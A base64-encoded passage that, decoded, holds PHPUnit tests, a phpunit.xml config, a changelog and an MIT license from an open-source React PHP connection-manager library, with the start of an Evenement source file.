tPmxvb3AsIDAuMSk7CgogICAgICAgICRwcm9taXNlID0gJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApOwogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UnLCAkcHJvbWlzZSk7CgogICAgICAgICR0aGlzLT5sb29wLT5ydW4oKTsKICAgICAgICAkcHJvbWlzZS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCksICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkpOwogICAgfQp9Cjw/cGhwCgp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcQ29ubmVjdGlvbk1hbmFnZXJTd2FwcGFibGU7CnVzZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYVxDb25uZWN0aW9uTWFuYWdlclJlamVjdDsKCmNsYXNzIENvbm5lY3Rpb25NYW5hZ2VyU3dhcHBhYmxlVGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0U3dhcCgpCiAgICB7CiAgICAgICAgJHdvbnQgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QoKTsKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJTd2FwcGFibGUoJHdvbnQpOwoKICAgICAgICAkcHJvbWlzZSA9ICRjbS0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsIDgwKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignUmVhY3RcUHJvbWlzZVxQcm9taXNlSW50ZXJmYWNlJywgJHByb21pc2UpOwogICAgICAgICRwcm9taXNlLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICR0aGlzLT5leHBlY3RDYWxsYWJsZU9uY2UoKSk7CgogICAgICAgICR3aWxsID0gJHRoaXMtPmNyZWF0ZUNvbm5lY3Rpb25NYW5hZ2VyTW9jayh0cnVlKTsKICAgICAgICAkY20tPnNldENvbm5lY3Rpb25NYW5hZ2VyKCR3aWxsKTsKCiAgICAgICAgJHByb21pc2UgPSAkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA4MCk7CiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1JlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZScsICRwcm9taXNlKTsKICAgICAgICAkcHJvbWlzZS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCksICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkpOwogICAgfQp9Cjw/cGhwCgp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcQ29ubmVjdGlvbk1hbmFnZXJSZWplY3Q7Cgp1c2UgUmVhY3RcU3RyZWFtXFN0cmVhbTsKCnVzZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYVxDb25uZWN0aW9uTWFuYWdlckRlbGF5OwoKdXNlIENvbm5lY3Rpb25NYW5hZ2VyXEV4dHJhXENvbm5lY3Rpb25NYW5hZ2VyVGltZW91dDsKCmNsYXNzIENvbm5lY3Rpb25NYW5hZ2VyVGltZW91dFRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0VXAoKQogICAgewogICAgICAgICR0aGlzLT5sb29wID0gUmVhY3RcRXZlbnRMb29wXEZhY3Rvcnk6OmNyZWF0ZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0VGltZW91dE9rYXkoKQogICAgewogICAgICAgICR3aWxsID0gJHRoaXMtPmNyZWF0ZUNvbm5lY3Rpb25NYW5hZ2VyTW9jayh0cnVlKTsKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJUaW1lb3V0KCR3aWxsLCAkdGhpcy0+bG9vcCwgMC4xKTsKCiAgICAgICAgJHByb21pc2UgPSAkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA4MCk7CiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1JlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZScsICRwcm9taXNlKTsKCiAgICAgICAgJHRoaXMtPmxvb3AtPnJ1bigpOwogICAgICAgICRwcm9taXNlLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU9uY2UoKSwgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RUaW1lb3V0RXhwaXJlKCkKICAgIHsKICAgICAgICAkd2lsbCA9ICR0aGlzLT5jcmVhdGVDb25uZWN0aW9uTWFuYWdlck1vY2sobmV3IFN0cmVhbShmb3BlbigncGhwOi8vdGVtcCcsICdyJyksICR0aGlzLT5sb29wKSk7CiAgICAgICAgJHdvbnQgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJEZWxheSgkd2lsbCwgJHRoaXMtPmxvb3AsIDAuMik7CgogICAgICAgICRjbSA9IG5ldyBDb25uZWN0aW9uTWFuYWdlclRpbWVvdXQoJHdvbnQsICR0aGlzLT5sb29wLCAwLjEpOwoKICAgICAgICAkcHJvbWlzZSA9ICRjbS0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsIDgwKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignUmVhY3RcUHJvbWlzZVxQcm9taXNlSW50ZXJmYWNlJywgJHByb21pc2UpOwoKICAgICAgICAkdGhpcy0+bG9vcC0+cnVuKCk7CiAgICAgICAgJHByb21pc2UtPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwgJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZSgpKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFRpbWVvdXRBYm9ydCgpCiAgICB7CiAgICAgICAgJHdvbnQgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QoKTsKCiAgICAgICAgJGNtID0gbmV3IENvbm5lY3Rpb25NYW5hZ2VyVGltZW91dCgkd29udCwgJHRoaXMtPmxvb3AsIDAuMSk7CgogICAgICAgICRwcm9taXNlID0gJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApOwogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UnLCAkcHJvbWlzZSk7CgogICAgICAgICR0aGlzLT5sb29wLT5ydW4oKTsKICAgICAgICAkcHJvbWlzZS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLCAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCkpOwogICAgfQp9Cjw/cGhwCgp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcQ29ubmVjdGlvbk1hbmFnZXJSZWplY3Q7CgpjbGFzcyBDb25uZWN0aW9uTWFuYWdlclJlamVjdFRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFJlamVjdCgpCiAgICB7CiAgICAgICAgJGNtID0gbmV3IENvbm5lY3Rpb25NYW5hZ2VyUmVqZWN0KCk7CiAgICAgICAgJHByb21pc2UgPSAkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA4MCk7CgogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UnLCAkcHJvbWlzZSk7CgogICAgICAgICRwcm9taXNlLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICR0aGlzLT5leHBlY3RDYWxsYWJsZU9uY2UoKSk7CiAgICB9Cn0KPD9waHAKCnVzZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYVxNdWx0aXBsZVxDb25uZWN0aW9uTWFuYWdlckNvbnNlY3V0aXZlOwp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcQ29ubmVjdGlvbk1hbmFnZXJSZWplY3Q7CgpjbGFzcyBDb25uZWN0aW9uTWFuYWdlckNvbnNlY3V0aXZlVGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0RW1wdHkoKQogICAgewogICAgICAgICRjbSA9IG5ldyBDb25uZWN0aW9uTWFuYWdlckNvbnNlY3V0aXZlKCk7CgogICAgICAgICRwcm9taXNlID0gJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignUmVhY3RcUHJvbWlzZVxQcm9taXNlSW50ZXJmYWNlJywgJHByb21pc2UpOwoKICAgICAgICAkcHJvbWlzZS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLCAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCkpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0UmVqZWN0KCkKICAgIHsKICAgICAgICAkd29udCA9IG5ldyBDb25uZWN0aW9uTWFuYWdlclJlamVjdCgpOwoKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJDb25zZWN1dGl2ZSgpOwogICAgICAgICRjbS0+YWRkQ29ubmVjdGlvbk1hbmFnZXIoJHdvbnQpOwoKICAgICAgICAkcHJvbWlzZSA9ICRjbS0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsIDgwKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1JlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZScsICRwcm9taXNlKTsKCiAgICAgICAgJHByb21pc2UtPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwgJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZSgpKTsKICAgIH0KfQo8P3BocAoKdXNlIENvbm5lY3Rpb25NYW5hZ2VyXEV4dHJhXE11bHRpcGxlXENvbm5lY3Rpb25NYW5hZ2VyUmFuZG9tOwp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcQ29ubmVjdGlvbk1hbmFnZXJSZWplY3Q7CgpjbGFzcyBDb25uZWN0aW9uTWFuYWdlclJhbmRvbVRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdEVtcHR5KCkKICAgIHsKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSYW5kb20oKTsKCiAgICAgICAgJHByb21pc2UgPSAkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA4MCk7CgogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UnLCAkcHJvbWlzZSk7CgogICAgICAgICRwcm9taXNlLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICR0aGlzLT5leHBlY3RDYWxsYWJsZU9uY2UoKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RSZWplY3QoKQogICAgewogICAgICAgICR3b250ID0gbmV3IENvbm5lY3Rpb25NYW5hZ2VyUmVqZWN0KCk7CgogICAgICAgICRjbSA9IG5ldyBDb25uZWN0aW9uTWFuYWdlclJhbmRvbSgpOwogICAgICAgICRjbS0+YWRkQ29ubmVjdGlvbk1hbmFnZXIoJHdvbnQpOwoKICAgICAgICAkcHJvbWlzZSA9ICRjbS0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsIDgwKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1JlYWN0XFByb21pc2VcUHJvbWlzZUludGVyZmFjZScsICRwcm9taXNlKTsKCiAgICAgICAgJHByb21pc2UtPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwgJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZSgpKTsKICAgIH0KfQo8P3BocAoKdXNlIFJlYWN0XFN0cmVhbVxTdHJlYW07Cgp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcTXVsdGlwbGVcQ29ubmVjdGlvbk1hbmFnZXJTZWxlY3RpdmU7CnVzZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYVxDb25uZWN0aW9uTWFuYWdlclJlamVjdDsKCmNsYXNzIENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlVGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0RW1wdHlXaWxsQWx3YXlzUmVqZWN0KCkKICAgIHsKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJTZWxlY3RpdmUoKTsKCiAgICAgICAgJHByb21pc2UgPSAkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA4MCk7CiAgICAgICAgJHRoaXMtPmFzc2VydFByb21pc2VSZWplY3QoJHByb21pc2UpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0UmVqZWN0KCkKICAgIHsKICAgICAgICAkd29udCA9IG5ldyBDb25uZWN0aW9uTWFuYWdlclJlamVjdCgpOwogICAgICAgICR3aWxsID0gJHRoaXMtPmNyZWF0ZUNvbm5lY3Rpb25NYW5hZ2VyTW9jayhuZXcgU3RyZWFtKGZvcGVuKCdwaHA6Ly90ZW1wJywgJ3InKSwgJHRoaXMtPmNyZWF0ZUxvb3BNb2NrKCkpKTsKCiAgICAgICAgJGNtID0gbmV3IENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlKCk7CgogICAgICAgICRjbS0+YWRkQ29ubmVjdGlvbk1hbmFnZXJGb3IoJHdpbGwsICd3d3cuZ29vZ2xlLmNvbScsIDQ0Myk7CiAgICAgICAgJGNtLT5hZGRDb25uZWN0aW9uTWFuYWdlckZvcigkd2lsbCwgJ3d3dy55b3V0dWJlLmNvbScpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UHJvbWlzZVJlc29sdmUoJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgNDQzKSk7CgogICAgICAgICR0aGlzLT5hc3NlcnRQcm9taXNlUmVqZWN0KCRjbS0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsIDgwKSk7CgogICAgICAgICR0aGlzLT5hc3NlcnRQcm9taXNlUmVzb2x2ZSgkY20tPmNyZWF0ZSgnd3d3LnlvdXR1YmUuY29tJywgODApKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFJlbW92ZSgpCiAgICB7CiAgICAgICAgJHdvbnQgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QoKTsKCiAgICAgICAgJGNtID0gbmV3IENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlKCk7CiAgICAgICAgJHRoaXMtPmFzc2VydENvdW50KDAsICRjbS0+Z2V0Q29ubmVjdGlvbk1hbmFnZXJFbnRyaWVzKCkpOwoKICAgICAgICAkaWQgPSAkY20tPmFkZENvbm5lY3Rpb25NYW5hZ2VyRm9yKCR3b250KTsKICAgICAgICAkdGhpcy0+YXNzZXJ0Q291bnQoMSwgJGNtLT5nZXRDb25uZWN0aW9uTWFuYWdlckVudHJpZXMoKSk7CgogICAgICAgICRjbS0+cmVtb3ZlQ29ubmVjdGlvbk1hbmFnZXJFbnRyeSgkaWQpOwogICAgICAgICR0aGlzLT5hc3NlcnRDb3VudCgwLCAkY20tPmdldENvbm5lY3Rpb25NYW5hZ2VyRW50cmllcygpKTsKCiAgICAgICAgLy8gcmVtb3ZpbmcgYSBub24tZXhpc3RhbnQgSUQgaXMgYSBOTy1PUAogICAgICAgICRjbS0+cmVtb3ZlQ29ubmVjdGlvbk1hbmFnZXJFbnRyeSgxMjM0NSk7CiAgICAgICAgJHRoaXMtPmFzc2VydENvdW50KDAsICRjbS0+Z2V0Q29ubmVjdGlvbk1hbmFnZXJFbnRyaWVzKCkpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0U2FtZVByaW9yaXR5Rmlyc3RXaW5zKCkKICAgIHsKICAgICAgICAkd29udCA9IG5ldyBDb25uZWN0aW9uTWFuYWdlclJlamVjdCgpOwogICAgICAgICR3aWxsID0gJHRoaXMtPmNyZWF0ZUNvbm5lY3Rpb25NYW5hZ2VyTW9jayhuZXcgU3RyZWFtKGZvcGVuKCdwaHA6Ly90ZW1wJywgJ3InKSwgJHRoaXMtPmNyZWF0ZUxvb3BNb2NrKCkpKTsKCiAgICAgICAgJGNtID0gbmV3IENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlKCk7CgogICAgICAgICRjbS0+YWRkQ29ubmVjdGlvbk1hbmFnZXJGb3IoJHdpbGwsICd3d3cuZ29vZ2xlLmNvbScsIDQ0MywgMTAwKTsKICAgICAgICAkY20tPmFkZENvbm5lY3Rpb25NYW5hZ2VyRm9yKCR3b250LCBDb25uZWN0aW9uTWFuYWdlclNlbGVjdGl2ZTo6TUFUQ0hfQUxMLCBDb25uZWN0aW9uTWFuYWdlclNlbGVjdGl2ZTo6TUFUQ0hfQUxMLCAxMDApOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UHJvbWlzZVJlc29sdmUoJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgNDQzKSk7CiAgICAgICAgJHRoaXMtPmFzc2VydFByb21pc2VSZWplY3QoJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFdpbGRjYXJkc01hdGNoKCkKICAgIHsKICAgICAgICAkd29udCA9IG5ldyBDb25uZWN0aW9uTWFuYWdlclJlamVjdCgpOwogICAgICAgICR3aWxsID0gJHRoaXMtPmNyZWF0ZUNvbm5lY3Rpb25NYW5hZ2VyTW9jayhuZXcgU3RyZWFtKGZvcGVuKCdwaHA6Ly90ZW1wJywgJ3InKSwgJHRoaXMtPmNyZWF0ZUxvb3BNb2NrKCkpKTsKCiAgICAgICAgJGNtID0gbmV3IENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlKCk7CgogICAgICAgICRjbS0+YWRkQ29ubmVjdGlvbk1hbmFnZXJGb3IoJHdpbGwsICcqLmNvbScpOwogICAgICAgICRjbS0+YWRkQ29ubmVjdGlvbk1hbmFnZXJGb3IoJHdpbGwsICcqJywgJzQ0My00NDQsODA4MCcpOwogICAgICAgICRjbS0+YWRkQ29ubmVjdGlvbk1hbmFnZXJGb3IoJHdpbGwsICcqLnlvdXR1YmUuKix5b3V0dWJlLionLCAnKicpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UHJvbWlzZVJlc29sdmUoJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0UHJvbWlzZVJlamVjdCgkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5kZScsIDgwKSk7CgogICAgICAgICR0aGlzLT5hc3NlcnRQcm9taXNlUmVzb2x2ZSgkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5kZScsIDQ0MykpOwogICAgICAgICR0aGlzLT5hc3NlcnRQcm9taXNlUmVzb2x2ZSgkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5kZScsIDQ0NCkpOwogICAgICAgICR0aGlzLT5hc3NlcnRQcm9taXNlUmVzb2x2ZSgkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5kZScsIDgwODApKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0UHJvbWlzZVJlamVjdCgkY20tPmNyZWF0ZSgnd3d3Lmdvb2dsZS5kZScsIDQ0NSkpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0UHJvbWlzZVJlc29sdmUoJGNtLT5jcmVhdGUoJ3d3dy55b3V0dWJlLmRlJywgODApKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0UHJvbWlzZVJlc29sdmUoJGNtLT5jcmVhdGUoJ2Rvd25sb2FkLnlvdXR1YmUuZGUnLCA4MCkpOwogICAgICAgICR0aGlzLT5hc3NlcnRQcm9taXNlUmVzb2x2ZSgkY20tPmNyZWF0ZSgneW91dHViZS5kZScsIDgwKSk7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBjcmVhdGVMb29wTW9jaygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5nZXRNb2NrQnVpbGRlcignUmVhY3RcRXZlbnRMb29wXFN0cmVhbVNlbGVjdExvb3AnKQogICAgICAgICAgICAgICAgICAgICAtPmRpc2FibGVPcmlnaW5hbENvbnN0cnVjdG9yKCkKICAgICAgICAgICAgICAgICAgICAgLT5nZXRNb2NrKCk7CiAgICB9Cn0KPD9waHAKCnVzZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYVxDb25uZWN0aW9uTWFuYWdlclJlcGVhdDsKdXNlIENvbm5lY3Rpb25NYW5hZ2VyXEV4dHJhXENvbm5lY3Rpb25NYW5hZ2VyUmVqZWN0OwoKY2xhc3MgQ29ubmVjdGlvbk1hbmFnZXJSZXBlYXRUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RSZXBlYXRSZWplY3RlZCgpCiAgICB7CiAgICAgICAgJHdvbnQgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QoKTsKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZXBlYXQoJHdvbnQsIDMpOwogICAgICAgICRwcm9taXNlID0gJGNtLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignUmVhY3RcUHJvbWlzZVxQcm9taXNlSW50ZXJmYWNlJywgJHByb21pc2UpOwoKICAgICAgICAkcHJvbWlzZS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLCAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVPbmNlKCkpOwogICAgfQoKICAgIC8qKgogICAgICogQGV4cGVjdGVkRXhjZXB0aW9uIEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdEludmFsaWRSZXBldGl0aW9ucygpCiAgICB7CiAgICAgICAgJHdvbnQgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QoKTsKICAgICAgICAkY20gPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZXBlYXQoJHdvbnQsIC0zKTsKICAgIH0KfQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PgoKPHBocHVuaXQgYm9vdHN0cmFwPSJ0ZXN0cy9ib290c3RyYXAucGhwIiBjb2xvcnM9InRydWUiPgogICAgPHRlc3RzdWl0ZXM+CiAgICAgICAgPHRlc3RzdWl0ZSBuYW1lPSJjb25uZWN0aW9uLW1hbmFnZXItZXh0cmEgVGVzdCBTdWl0ZSI+CiAgICAgICAgICAgIDxkaXJlY3Rvcnk+Li90ZXN0cy88L2RpcmVjdG9yeT4KICAgICAgICA8L3Rlc3RzdWl0ZT4KICAgIDwvdGVzdHN1aXRlcz4KICAgIDxmaWx0ZXI+CiAgICAgICAgPHdoaXRlbGlzdD4KICAgICAgICAgICAgPGRpcmVjdG9yeT4uL0Nvbm5lY3Rpb25NYW5hZ2VyPC9kaXJlY3Rvcnk+CiAgICAgICAgPC93aGl0ZWxpc3Q+CiAgICA8L2ZpbHRlcj4KPC9waHB1bml0PiMgQ0hBTkdFTE9HCgpUaGlzIGZpbGUgaXMgYSBtYW51YWxseSBtYWludGFpbmVkIGxpc3Qgb2YgY2hhbmdlcyBmb3IgZWFjaCByZWxlYXNlLiBGZWVsIGZyZWUKdG8gYWRkIHlvdXIgY2hhbmdlcyBoZXJlIHdoZW4gc2VuZGluZyBwdWxsIHJlcXVlc3RzLiBBbHNvIHNlbmQgY29ycmVjdGlvbnMgaWYKeW91IHNwb3QgYW55IG1pc3Rha2VzLgoKIyMgMC4zLjEgKDIwMTQtMDktMjcpCgoqIFN1cHBvcnQgUmVhY3QgUEhQIHYwLjQgKHdoaWxlIHByZXNlcnZpbmcgQkMgd2l0aCBSZWFjdCBQSFAgdjAuMykKICAoIzQpCgojIyAwLjMuMCAoMjAxMy0wNi0yNCkKCiogQkMgYnJlYWs6IFN3aXRjaCBmcm9tIChkZXByZWNhdGVkKSBgY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXJgIHRvIGByZWFjdC9zb2NrZXQtY2xpZW50YAogIGFuZCB0aHVzIHJlcGxhY2UgZWFjaCBvY2N1cmFuY2Ugb2YgYGdldENvbm5lY3QoJGhvc3QsICRwb3J0KWAgd2l0aCBgY3JlYXRlKCRob3N0LCAkcG9ydClgCiAgKCMxKQogIAoqIEZpeDogVGltZW91dHMgaW4gYENvbm5lY3Rpb25NYW5hZ2VyVGltZW91dGAgbm93IGFjdHVhbGx5IHdvcmsKICAoIzEpCgoqIEZpeDogUHJvcGVybHkgcmVqZWN0IHByb21pc2UgaW4gYENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlYCB3aGVuIG5vIHRhcmdldHMKICBoYXZlIGJlZW4gZm91bmQKICAoIzEpCgojIyAwLjIuMCAoMjAxMy0wMi0wOCkKCiogRmVhdHVyZTogQWRkIGBDb25uZWN0aW9uTWFuYWdlclNlbGVjdGl2ZWAgd2hpY2ggd29ya3MgbGlrZSBhIG5ldHdvcmsvZmlyZXdhbGwgQUNMCgojIyAwLjEuMCAoMjAxMy0wMS0xMikKCiogRmlyc3QgdGFnZ2VkIHJlbGVhc2UKCkNvcHlyaWdodCAoYykgMjAxMSBJZ29yIFdpZWRsZXIKClBlcm1pc3Npb24gaXMgaGVyZWJ5IGdyYW50ZWQsIGZyZWUgb2YgY2hhcmdlLCB0byBhbnkgcGVyc29uIG9idGFpbmluZyBhIGNvcHkKb2YgdGhpcyBzb2Z0d2FyZSBhbmQgYXNzb2NpYXRlZCBkb2N1bWVudGF0aW9uIGZpbGVzICh0aGUgIlNvZnR3YXJlIiksIHRvIGRlYWwKaW4gdGhlIFNvZnR3YXJlIHdpdGhvdXQgcmVzdHJpY3Rpb24sIGluY2x1ZGluZyB3aXRob3V0IGxpbWl0YXRpb24gdGhlIHJpZ2h0cwp0byB1c2UsIGNvcHksIG1vZGlmeSwgbWVyZ2UsIHB1Ymxpc2gsIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsCmNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0byBwZXJtaXQgcGVyc29ucyB0byB3aG9tIHRoZSBTb2Z0d2FyZSBpcyBmdXJuaXNoZWQKdG8gZG8gc28sIHN1YmplY3QgdG8gdGhlIGZvbGxvd2luZyBjb25kaXRpb25zOgoKVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUgaW5jbHVkZWQgaW4gYWxsCmNvcGllcyBvciBzdWJzdGFudGlhbCBwb3J0aW9ucyBvZiB0aGUgU29mdHdhcmUuCgpUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiwgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwgRVhQUkVTUyBPUgpJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GIE1FUkNIQU5UQUJJTElUWSwKRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFCkFVVEhPUlMgT1IgQ09QWVJJR0hUIEhPTERFUlMgQkUgTElBQkxFIEZPUiBBTlkgQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIKTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwgVE9SVCBPUiBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwKT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTgpUSEUgU09GVFdBUkUuCjw/cGhwCgovKgogKiBUaGlzIGZpbGUgaXMgcGFydCBvZiBFdmVuZW1lbnQuCiAqCiAqIChjKSBJZ29yIFdpZWRsZXIgPGlnb3JAd2llZGxlci5jaD4KICoKICogRm9yIHRoZSBmdWxsIGNvcHlyaWdodCBhbmQgbGljZW5zZSBpbmZvcm1hdGlvbiwgcGxlYXNlIHZpZXcgdGhlIExJQ0VOU0UKICogZmlsZSB0aGF0IHdhcyBkaXN0cmlidXRlZCB3aXRoIHRoaXMgc291cmNlIGNvZGUuCiAqLwoKbmFtZXNwYWNlIEV2ZW5lbWVudD